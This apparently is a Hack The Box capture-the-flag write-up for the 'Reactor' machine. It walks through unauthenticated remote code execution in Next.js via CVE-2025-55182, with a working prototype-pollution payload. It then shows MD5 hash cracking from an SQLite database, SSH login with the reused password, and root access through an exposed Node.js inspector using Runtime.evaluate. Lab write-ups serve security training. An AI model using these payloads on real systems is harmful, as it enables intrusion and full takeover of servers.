~ / writeups / reactor

Reactor

Hack The Box · Easy · Linux

Easy Linux User + Root owned

Machine Overview

Field Value
Name Reactor
Difficulty Easy
OS Linux (Ubuntu 24.04.4 LTS)
IP 10.129.149.68
Vhost reactor.htb (access via IP works directly)
Kernel 6.8.0-117-generic
Ports 22 (OpenSSH 9.6p1), 3000 (Next.js 15.0.3)
Season 11

Flags

Flag Path Value
User /home/engineer/user.txt [REDACTED]
Root /root/root.txt [REDACTED]

Reconnaissance

nmap -p- --min-rate 5000 -T4 10.129.149.68
# PORT     STATE SERVICE
# 22/tcp   open  ssh
# 3000/tcp open  ppp

nmap -sCV -p 22,3000 10.129.149.68
# 22/tcp   open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux)
# 3000/tcp open  http  Next.js (X-Powered-By: Next.js, x-nextjs-cache: HIT)

The web app on 3000 is ReactorWatch — a static nuclear-reactor dashboard, no visible login. package.json revealed next@15.0.3 + react@19.0.0, squarely inside the CVE-2025-55182 (React2Shell) vulnerable range.

Attack Chain

1. Foothold — React Server Components RCE (CVE-2025-55182)

Unauthenticated RCE via the React Server Components Flight-protocol deserializer (prototype pollution). A crafted multipart POST with a Next-Action header reaches process.mainModule.require('child_process').execSync. Output is exfiltrated through the NEXT_REDIRECT error digest field.

payload = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": "var res = process.mainModule.require('child_process')"
                   ".execSync(<cmd>,{timeout:5000}).toString().trim(); "
                   "throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_formData": {"get": "$1:constructor:constructor"},
    },
}
# POST with files={"0": json(payload), "1": '"$@0"'}, header Next-Action: x
python3 rce.py http://10.129.149.68:3000 "id; hostname; whoami"
# uid=999(node) gid=988(node) groups=988(node)
# reactor
# node

Execution lands as the node service user.

2. Credential Harvesting — SQLite reactor.db

The app dir /opt/reactor-app/ holds reactor.db (world-readable by the node user) with an unsalted-MD5 users table:

sqlite3 /opt/reactor-app/reactor.db 'SELECT id,username,password_hash,role,email FROM users;'
# 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
# 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
echo -n reactor1 | md5sum   # 39d97110eafe2a9a68639812cd271e8e  -> matches engineer

3. User — SSH as engineer

The cracked MD5 (engineer : reactor1) is reused for SSH:

ssh engineer@10.129.149.68   # password: reactor1
id                           # uid=1000(engineer) ... groups=...,4(adm),...,101(lxd)
cat user.txt                 # [REDACTED]

4. Root — Node.js inspector (--inspect) on a root process

ps aux reveals a root-owned Node process exposing the V8 debugger on localhost:

ps aux | grep -- --inspect
# root 1413 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

The debugger's Chrome DevTools Protocol endpoint is reachable from the compromised host itself (no SSH port-forward needed — the RCE already runs on the target):

curl -s http://127.0.0.1:9229/json
# [ { "title": "/opt/uptime-monitor/worker.js",
#     "webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>", ... } ]

Attach via a raw WebSocket and Runtime.evaluate a child_process.execSync call inside the root process:

process.mainModule.require('child_process')
  .execSync('cat /root/root.txt; cat /home/engineer/user.txt; id').toString()
python3 cdp_rce.py
# uid=0(root) gid=0(root) groups=0(root)
# root.txt: [REDACTED]

(Equivalent, SUID-based alternative used in public writeups: Runtime.evaluate → require('child_process').execSync('chmod u+s /bin/bash') → /bin/bash -p.)

Techniques Demonstrated

  1. React Server Components Flight-protocol deserialization → prototype pollution RCE (CVE-2025-55182 / React2Shell)
  2. Error-based command output exfiltration via the NEXT_REDIRECT error digest field
  3. SQLite database credential harvesting (reactor.db)
  4. Unsalted-MD5 hash cracking + credential reuse (app DB password == SSH password)
  5. Node.js --inspect V8 inspector abuse → Runtime.evaluate in a root process (CDP over raw WebSocket)

Tools Used

nmap, curl, Python (requests, paramiko, stdlib WebSocket), sqlite3, md5sum, CVE-2025-55182 PoC (react2shell).

← all writeups